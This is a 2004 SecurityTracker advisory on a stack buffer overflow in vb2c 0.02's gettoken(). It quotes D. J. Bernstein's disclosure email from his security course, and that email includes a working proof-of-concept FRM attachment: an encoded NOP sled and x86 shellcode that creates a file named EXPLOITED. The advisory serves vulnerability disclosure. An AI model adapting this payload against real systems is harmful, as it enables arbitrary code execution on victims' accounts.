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Category:   Application (Generic)  >   Visual Basic to C/GTK (vb2c) Vendors:   Kohn, Michael
Visual Basic to C/GTK (vb2c) Buffer Overflow in gettoken() Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1012575
SecurityTracker URL:  http://securitytracker.com/id/1012575
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Dec 16 2004
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 0.02
Description:   A vulnerability was reported in Visual Basic to C/GTK (vb2c). A remote user can cause arbitrary code to be executed by the target user.

D. J. Bernstein reported that a remote user can create a specially crafted FRM file that, when processed by the target user with vb2c, will execute arbitrary code on the target user's system. The code will run with the privileges of the target user.

The buffer overflow resides in the gettoken() function in 'vb2c.c'

Qiao Zhang is credited with discovering this flaw.

Impact:   A remote user can cause arbitrary code to be executed by the target user with the privileges of the target user.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.naken.cc/vb2c/ (Links to External Site)
Cause:   Boundary error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   None.


 Source Message Contents

Subject:  [remote] [control] vb2c 0.02 parse_sub overflows token buffer



--jI8keyz6grp/JLjh
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Qiao Zhang, a student in my Fall 2004 UNIX Security Holes course, has
discovered a remotely exploitable security hole in vb2c. I'm publishing
this notice, but all the discovery credits should be assigned to Zhang.

You are at risk if you take a FRM file from an email message (or a web
page or any other source that could be controlled by an attacker) and
feed that file through vb2c. (The vb2c documentation does not tell users
to avoid taking input from the network.) Whoever provides that file then
has complete control over your account: she can read and modify your
files, watch the programs you're running, etc.

Proof of concept: On an x86 computer running FreeBSD 4.10, as root, type

   cd /usr/ports/devel/vb2c
   make install

to download and compile the vb2c program, version 0.02 (current). Then,
as any user, save the file 34.frm attached to this message, and type

   vb2c 34

with the unauthorized result that a file named EXPLOITED is created in
the current directory.

Here's the bug: In vb2c.c, parse() uses gettoken() to read any number of
bytes into a 255-byte token[] array.

---D. J. Bernstein, Associate Professor, Department of Mathematics,
Statistics, and Computer Science, University of Illinois at Chicago

--jI8keyz6grp/JLjh
Content-Type: text/plain; charset=unknown-8bit
Content-Disposition: attachment; filename="34.frm"
Content-Transfer-Encoding: quoted-printable

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx0=F3=BF=BF0=F3=BF=BF0=F3=BF=BF0=F3=BF=BF0=F3=
=BF=BF=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=EB9Y1=C0@@@=C1=E0=07P=B8=124V=02=C1=E8=18=C1=E0=08=
PQ1=C0=B0=05P=CD=801=C0P@P=CD=80=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=E8=C2=FF=FF=FFEXPLOITED

--jI8keyz6grp/JLjh--

 
 


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